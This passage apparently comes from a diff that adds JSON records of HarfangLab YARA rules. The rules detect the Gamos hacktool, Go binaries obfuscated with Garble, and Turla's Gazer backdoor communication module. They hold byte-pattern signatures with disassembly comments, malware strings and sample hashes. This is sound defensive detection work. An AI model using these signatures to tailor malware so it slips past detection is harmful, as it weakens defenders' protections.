rdx, [rdx]\n            48 8B 52 50                                                   // mov     rdx, [rdx+50h]\n            48 8B 7C 24 50                                                // mov     rdi, [rsp+28h+arg_18]\n            FF D2                                                         // call    rdx\n            48 83 C4 28                                                   // add     rsp, 28h\n            5D                                                            // pop     rbp\n            C3                                                            // retn\n        }\n        $x_controlstream = {\n            48 85 DB                                                       // test    rbx, rbx\n            0F 85 B6 00 00 00                                              // jnz     loc_6FC470\n            48 8B 08                                                       // mov     rcx, [rax]\n            0F 1F 00                                                       // nop     dword ptr [rax]\n            48 [6]              \t\t\t                   // cmp     cs:qword_ADDB98, rcx\n            75 66                                                          // jnz     short loc_6FC42F\n            0F B6 48 08                                                    // movzx   ecx, byte ptr [rax+8] ; int\n            80 F9 01                                                       // cmp     cl, 1\n            76 3A                                                          // jbe     short loc_6FC40C\n            80 F9 02                                                       // cmp     cl, 2\n            74 2E                                                          // jz      short loc_6FC405\n            80 F9 1A                                                       // cmp     cl, 1Ah\n            74 0E                                                          // jz      short loc_6FC3EA\n            0F 1F 40 00                                                    // nop     dword ptr [rax+00h]\n            80 F9 1C                                                       // cmp     cl, 1Ch\n            75 B4                                                          // jnz     short loc_6FC399\n            E9\n        }\n        $x_loadconfig = {\n            55                                                           //   push    rbp\n            48 89 E5                                                     //   mov     rbp, rsp\n            48 81 EC E8 00 00 00                                         //   sub     rsp, 0E8h\n            48 B9 [8]                                                    //   mov     rcx, 0FC14011454D6426Fh\n            48 89 4C 24 68                                               //   mov     [rsp+0E8h+var_80], rcx\n            48 B9 [8]                                                    //   mov     rcx, 988EDB17E77D1C81h\n            48 89 4C 24 70                                               //   mov     [rsp+0E8h+var_78], rcx\n            48 B9 [8]                               \t\t         //   mov     rcx, 35A2EFB59AC06560h\n            48 89 4C 24 78                                               //   mov     [rsp+0E8h+var_70], rcx\n            48 B9 [8]                               \t\t         //   mov     rcx, 68A39A8C02A51C08h\n            48 89 8C 24 80 00 00 00                                      //   mov     [rsp+0E8h+var_68], rcx\n        }\n    condition:\n        ($go and all of ($strings*)) or\n        1 of ($x*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "gamos"
+  ],
+  "rule_creation_date": "2025-11-28",
+  "rule_modified_date": "2025-12-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Gamos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1071",
+    "attack.t1550",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-garble_2355b3b2c098_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564820Z",
+  "creation_date": "2026-03-23T11:46:25.564822Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564829Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/\nhttps://github.com/burrowers/garble\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/"
+  ],
+  "name": "garble_2355b3b2c098.yar",
+  "content": "rule garble_2355b3b2c098 {\n    meta:\n        title = \"Garble Obfuscated Binary (2355b3b2c098)\"\n        id = \"a5b3b763-b128-471b-a859-2355b3b2c098\"\n        description = \"Detects Go binaries compiled with the Garble obfuscator by detecting simple string transformation patterns.\\nGarble obfuscates Go binaries by replacing identifiers, stripping debug information, and removing build metadata, making reverse engineering difficult.\\nThis is commonly used by malware for creating obfuscated payloads.\\nIt is recommended to perform a detailed dynamic analysis of the binary an use common tools like the one in the references to deobfuscate and identify hidden functionalities and determine maliciousness.\"\n        references = \"https://attack.mitre.org/techniques/T1027/\\nhttps://github.com/burrowers/garble\\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/\"\n        date = \"2025-03-13\"\n        modified = \"2025-03-19\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Generic.Garble\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 184e9a4c1f726843ab36024089c8f8620466fb78e20da5bf7781c0d9999b9ba4\n        // 688dc0d366c55d42401eff651a61aa3faa266759106b64e46cff0ca24767da97\n        // a0f67b760c9aac5e22088613506a8aab2fb93f874e31bbc5c9b88cfd9af414be\n        // b0d20a3dcb937da1ddb01684f6040bdbb920ac19446364e949ee8ba5b50a29e4\n        // cf37a75989b5f89a8b18a036cfdbab234035aba1dfc8bc844e8c7e77a35b3dd2\n        // cfbc472d727d40a8dbdc15c7c912c825b937c9482de9b57637eaa6d59156912f\n\n        // Try to check if it is a Go binary without using too many resources\n        $go_binary_1 = \"Go buildinf:\" ascii\n        $go_binary_2 = \"fatal error: cgo callback before cgo call\" ascii\n        $go_binary_3 = \".gopclntab\" ascii\n\n        $simple_transformation_swap_and_op = {\n            48 BA [5-8]              // mov     rdx, 0x5f1ce45fe41c2b59\n            48 89 [5-8]              // mov     qword [rsp+0x281 {var_2de+0x7}], rdx  {0x5f1ce45fe41c2b59}\n            48 BA [5-8]              // mov     rdx, 0x8894e45c2b592b5f\n            48 89 [5-8]              // mov     qword [rsp+0x289 {var_2cf}], rdx  {-0x776b1ba3d4a6d4a1}\n            31 C0                    // xor     eax, eax  {0x0}\n            EB ??                    // jmp     0x46a7cd\n\n            [0-7]\n\n            0F B6 [2-6]              // movzx   edx, byte [rsp+rax+0x39 {var_27}]\n            0F B6 [2-6]              // movzx   esi, byte [rsp+rax+0x1a {var_46}]\n            (29|01|31) ??            // add|sub|xor     esi, edx (not always esi, if you're wondering.)\n            40 88 [2-6]              // mov     byte [rsp+rax+0x1a {var_46}], sil\n\n            48 FF C0                 // inc     rax\n            48 83 F8??               // cmp\n            7C ??                    // conditional jump\n        }\n\n        $simple_transformation_swap_only = {\n            48 BA [5-8]              // mov     rdx, 0x5f1ce45fe41c2b59\n            48 89 [5-8]              // mov     qword [rsp+0x281 {var_2de+0x7}], rdx  {0x5f1ce45fe41c2b59}\n            48 BA [5-8]              // mov     rdx, 0x8894e45c2b592b5f\n            48 89 [5-8]              // mov     qword [rsp+0x289 {var_2cf}], rdx  {-0x776b1ba3d4a6d4a1}\n            31 C0                    // xor     eax, eax  {0x0}\n            EB ??                    // jmp     0x46a7cd\n\n            0F B6 [2-6]              // movzx   edx, byte [rsp+rax+0x3fd {var_15b}]\n            48 8D [2-6]              // lea     rsi, [rel data_4e6faf]\n            0F B6 [2-6]              // movzx   edx, byte [rsi+rdx]\n            88 94 [5]                // mov     byte [rsp+rax+0x3fd {var_15b}], dl\n\n            48 FF C0                 // inc     rax\n            48 83 F8??               // cmp\n            7C ??                    // conditional jump\n        }\n\n    condition:\n        1 of ($go_binary_*) and (\n            #simple_transformation_swap_and_op > 10 or #simple_transformation_swap_only > 10\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "garble_2355b3b2c098"
+  ],
+  "rule_creation_date": "2025-03-13",
+  "rule_modified_date": "2025-03-19",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Generic.Garble"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-garble_382a85810806_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564789Z",
+  "creation_date": "2026-03-23T11:46:25.564791Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564797Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/\nhttps://github.com/burrowers/garble\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/"
+  ],
+  "name": "garble_382a85810806.yar",
+  "content": "rule garble_382a85810806 {\n    meta:\n        title = \"Garble Obfuscated Binary (382a85810806)\"\n        id = \"022c43db-2175-44d1-8346-382a85810806\"\n        description = \"Detects Go binaries compiled with the Garble obfuscator by detecting the stack operations leading to string seed transformations and the calls to the transformations themselves.\\nGarble obfuscates Go binaries by replacing identifiers, stripping debug information, and removing build metadata, making reverse engineering difficult.\\nThis is commonly used by malware for creating obfuscated payloads.\\nIt is recommended to perform a detailed dynamic analysis of the binary an use common tools like the one in the references to deobfuscate and identify hidden functionalities and determine maliciousness.\"\n        references = \"https://attack.mitre.org/techniques/T1027/\\nhttps://github.com/burrowers/garble\\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/\"\n        date = \"2025-03-13\"\n        modified = \"2025-03-19\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Generic.Garble\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1d8ae8261f83244be16a06e3775ce05dcdb2be6c3f30e6d3a3c20cde46d35fcc\n        // 688dc0d366c55d42401eff651a61aa3faa266759106b64e46cff0ca24767da97\n        // b0d20a3dcb937da1ddb01684f6040bdbb920ac19446364e949ee8ba5b50a29e4\n        // 184e9a4c1f726843ab36024089c8f8620466fb78e20da5bf7781c0d9999b9ba4\n        // a0f67b760c9aac5e22088613506a8aab2fb93f874e31bbc5c9b88cfd9af414be\n        // cf37a75989b5f89a8b18a036cfdbab234035aba1dfc8bc844e8c7e77a35b3dd2\n\n        // Try to check if it is a Go binary without using too many resources\n        $go_binary_1 = \"Go buildinf:\" ascii\n        $go_binary_2 = \"fatal error: cgo callback before cgo call\" ascii\n        $go_binary_3 = \".gopclntab\" ascii\n\n        $common_obfstring_stack_setup = {\n            48 B9 [8]            // mov     rcx, 0xcbbb9d5dc1059ed8\n            48 89 08             // mov     qword [rax], rcx  {-0x344462a23efa6128}\n            48 B9 [8]            // mov     rcx, 0x629a292a367cd507\n            48 89 48 08          // mov     qword [rax+0x8], rcx  {0x629a292a367cd507}\n            48 B9 [8]            // mov     rcx, 0x9159015a3070dd17\n            48 89 48 10          // mov     qword [rax+0x10], rcx  {-0x6ea6fea5cf8f22e9}\n            48 B9 [8]            // mov     rcx, 0x152fecd8f70e5939\n            48 89 48 18          // mov     qword [rax+0x18], rcx  {0x152fecd8f70e5939}\n            48 B9 [8]            // mov     rcx, 0x67332667ffc00b31\n            48 89 48 20          // mov     qword [rax+0x20], rcx  {0x67332667ffc00b31}\n        }\n\n        $seed_transformation_reg_call = {\n            FF D1               // call    rcx\n            48 8B 08            // mov     rcx, qword [rax]\n            48 89 C2            // mov     rdx, rax\n            B8 [4]              // mov     eax, 0xfffffffd\n            ff D1               // call    rcx\n            48 8B 08            // mov     rcx, qword [rax]\n            48 89 C2            // mov     rdx, rax\n            B8 [4]              // mov     eax, 0xfffffff9\n            FF D1               // call    rcx\n            48 8B 08            // mov     rcx, qword [rax]\n            48 89 C2            // mov     rdx, rax\n            B8 [4]              // mov     eax, 0xffffffcd\n            FF D1               // call    rcx\n        }\n\n    condition:\n        1 of ($go_binary_*) and #common_obfstring_stack_setup > 2 and #seed_transformation_reg_call > 20\n\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "garble_382a85810806"
+  ],
+  "rule_creation_date": "2025-03-13",
+  "rule_modified_date": "2025-03-19",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Generic.Garble"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-garble_6994b63f5389_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577072Z",
+  "creation_date": "2026-03-23T11:46:25.577074Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577080Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/\nhttps://github.com/burrowers/garble\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/"
+  ],
+  "name": "garble_6994b63f5389.yar",
+  "content": "rule garble_6994b63f5389 {\n    meta:\n        title = \"Garble Obfuscated Binary (6994b63f5389)\"\n        id = \"a1237c96-5b9f-4a59-8368-6994b63f5389\"\n        description = \"Detects Go binaries compiled with the Garble obfuscator by detecting simple string transformation patterns.\\nGarble obfuscates Go binaries by replacing identifiers, stripping debug information, and removing build metadata, making reverse engineering difficult.\\nThis is commonly used by malware for creating obfuscated payloads.\\nIt is recommended to perform a detailed dynamic analysis of the binary an use common tools like the one in the references to deobfuscate and identify hidden functionalities and determine maliciousness.\"\n        references = \"https://attack.mitre.org/techniques/T1027/\\nhttps://github.com/burrowers/garble\\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/\"\n        date = \"2025-03-17\"\n        modified = \"2025-03-25\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Generic.Garble\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c92b21bdb91fe4c0590212e650212528a1f608a2ea086ce5eb5ac6d05edc41f7\n        // be5d276314f9a108d0d44ba6e2c876e1ffac33ce2f549f2c530a31d210816800\n        // 6b35bd1a2b0e41ec61f3518b53aec7986c23cc2cd230e2651aed4b6f28e9481b\n\n        // Try to check if it is a Go binary without using too many resources\n        $go_binary_1 = \"Go buildinf:\" ascii\n        $go_binary_2 = \"fatal error: cgo callback before cgo call\" ascii\n        $go_binary_3 = \".gopclntab\" ascii\n\n        $simple_transformation_swap_and_op = {\n            C7 84 [9]            // mov     dword [esp+0x384 {var_d90}], 0x4569021b\n            C7 84 [9]            // mov     dword [esp+0x372 {var_da2}], 0xeab87fb7  {0xeab87fb7}\n            C7 84 [9]            // mov     dword [esp+0x375 {var_da2+0x3}], 0xf0eb62ea  {0xf0eb62ea}\n            C7 84 [9]            // mov     dword [esp+0x379 {var_d9b}], 0x27036213\n            31 C0                // xor     eax, eax  {0x0}\n            EB ??                // jmp     0x4fbf99\n            0F B6 [6]            // movzx   ecx, byte [esp+eax+0x37d {var_d97}]\n            0F B6 [6]            // movzx   edx, byte [esp+eax+0x372 {var_da2}]\n            (29|01|31) ??        // add     ecx, edx\n            88 [6]               // mov     byte [esp+eax+0x372 {var_da2}], cl\n            40                   // inc     eax\n            83 F8 ??             // cmp     eax, 0xb\n            7C ??                // jl      0x4fbf7f\n        }\n\n    condition:\n        1 of ($go_binary_*) and #simple_transformation_swap_and_op > 15\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "garble_6994b63f5389"
+  ],
+  "rule_creation_date": "2025-03-17",
+  "rule_modified_date": "2025-03-25",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Generic.Garble"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-garble_e1fc4152a5e2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564853Z",
+  "creation_date": "2026-03-23T11:46:25.564855Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564861Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/\nhttps://github.com/burrowers/garble\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/"
+  ],
+  "name": "garble_e1fc4152a5e2.yar",
+  "content": "rule garble_e1fc4152a5e2 {\n    meta:\n        title = \"Garble Obfuscated Binary (e1fc4152a5e2)\"\n        id = \"53c67821-8f20-4d0b-ba4b-e1fc4152a5e2\"\n        description = \"Detects Go binaries compiled with the Garble obfuscator by detecting the stack operations leading to string seed transformations and the calls to the transformations themselves.\\nGarble obfuscates Go binaries by replacing identifiers, stripping debug information, and removing build metadata, making reverse engineering difficult.\\nThis is commonly used by malware for creating obfuscated payloads.\\nIt is recommended to perform a detailed dynamic analysis of the binary an use common tools like the one in the references to deobfuscate and identify hidden functionalities and determine maliciousness.\"\n        references = \"https://attack.mitre.org/techniques/T1027/\\nhttps://github.com/burrowers/garble\\nhttps://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries/\"\n        date = \"2025-03-13\"\n        modified = \"2025-03-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Generic.Garble\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these sample:\n        // f4c602e6b962915ff27c09138b8c123187d8463f97e587637e04ea91ed06a2d8\n        // c92b21bdb91fe4c0590212e650212528a1f608a2ea086ce5eb5ac6d05edc41f7\n        // be5d276314f9a108d0d44ba6e2c876e1ffac33ce2f549f2c530a31d210816800\n        // 91e4448d68474262e1f52ba687ded3fce3344514b0eb043245e9c9e2433b8932\n\n        // Try to check if it is a Go binary without using too many resources\n        $go_binary_1 = \"Go buildinf:\" ascii\n        $go_binary_2 = \"fatal error: cgo callback before cgo call\" ascii\n        $go_binary_3 = \".gopclntab\" ascii\n\n        $common_obfstring_stack_setup = {\n            C7 44 24 [5]           // mov     dword [esp+0x1e {var_a}], 0x4bd48f1b\n            C7 44 24 [5]           // mov     dword [esp+0x20 {var_a+0x2}], 0x768a4bd4\n            C7 44 24 [5]           // mov     dword [esp+0x24 {var_4}], 0xbcb23b8a  {0xbcb23b8a}\n            C7 44 24 [5]           // mov     dword [esp+0x14 {var_14}], 0xaa38fb6a  {0xaa38fb6a}\n            C7 44 24 [5]           // mov     dword [esp+0x16 {var_14+0x2}], 0xdbdaaa38  {0xdbdaaa38}\n            C7 44 24 [5]           // mov     dword [esp+0x1a {var_e}], 0x1f1ba8fc\n            31 C0                  // xor     eax, eax  {0x0}\n            EB ??                  // jmp     0x4926d8\n        }\n\n        $seed_transformation_reg_call = {\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0x9d\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0x2f\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0x66\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0xc3\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0x6f\n            FF D0                  // call    eax\n            8B 54 24 ??            // mov     edx, dword [esp+0x4 {var_1c}]\n            8B 02                  // mov     eax, dword [edx]\n            C6 04 24 ??            // mov     byte [esp {var_20}], 0xe2\n        }\n\n    condition:\n        1 of ($go_binary_*) and #common_obfstring_stack_setup > 10 and #seed_transformation_reg_call > 30\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "garble_e1fc4152a5e2"
+  ],
+  "rule_creation_date": "2025-03-13",
+  "rule_modified_date": "2025-03-24",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Generic.Garble"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gazer_comm_module_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583694Z",
+  "creation_date": "2026-03-23T11:46:25.583696Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583702Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0168/\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+  ],
+  "name": "gazer_comm_module.yar",
+  "content": "rule gazer_comm_module {\n    meta:\n        title = \"Gazer Communication Module\"\n        id = \"0cfdfc81-2417-4d3a-b811-c737cfecafee\"\n        description = \"Detects the Gazer communication module, a Turla malware also known as WhiteBear used by the group since at least 2016.\\nGazer is a backdoor written in C++ which is based on three components: a loader, an orchestrator, and a communication module. It uses custom 3DES and RSA encryption libraries to encrypt the data sent to the C&C server.\\nThe tasks received from the C&C server can be executed either by the infected machine or by another machine on the network.\\nIt is recommended to investigate network connections for potential C2 activity, as well as to quarantine detected files.\"\n        references = \"https://attack.mitre.org/software/S0168/\\nhttps://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf\"\n        date = \"2023-01-20\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1573.001;attack.t1573.002;attack.defense_evasion;attack.t1055.003;attack.t1027;attack.t1553.002;attack.discovery;attack.t1033;attack.s0168\"\n        classification = \"Windows.Malware.Gazer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 93e36c336b5b20b3c33b7d0f8844572ddcc10046d1fe91b7b106d78c7fea932c\n        // 6f3cca3ec5110b8cd761697967067a93d2c1546b2c18f75437c5f36bca45da86\n        // f16e2fc2e467580a7cac3f09757b048419b73c7687401c9266fbb146c8e449bb\n        // ca9e3ea2e21483612ec2d9ff4a91693e97ab24175ac00ccb52da89e4b89230c9\n\n        $s1 = \"InternetRelations::ReceiveMessageFromCentre\" fullword ascii\n        $s2 = \"InternetRelations::SendMessageToCentre\" fullword ascii\n        $s3 = \"hash\" fullword ascii\n        $s4 = \"session\" fullword ascii\n        $s5 = \"photo\" fullword ascii\n        $s6 = \"Mozilla/4.0 (compatible; MSIE 6.0)\" fullword wide\n        $s7 = \"InternetRelations::GetUserAgent\" fullword wide\n        $s8 = \"INTERNET_OPEN_TYPE_PRECONFIG\" fullword wide\n        $s9 = \"windowsupdate.microsoft.com\" fullword wide\n        $s10 = \"InternetRelations::GetInetConnectToGazer\" fullword wide\n        $s11 = \"_GETSID_METHOD_1_\" fullword wide\n        $s12 = \"\\\\\\\\.\\\\pipe\\\\Winsock2\\\\CatalogChangeListener-FFFF-F\" fullword wide\n\n    condition:\n        6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gazer_comm_module"
+  ],
+  "rule_creation_date": "2023-01-20",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Gazer"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1027",
+    "attack.t1553.002",
+    "attack.t1573.002",
+    "attack.t1055.003",
+    "attack.t1573.001",
+    "attack.t1033"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gazer_loader_yar",
+  "test_maturity_current_count": 0,
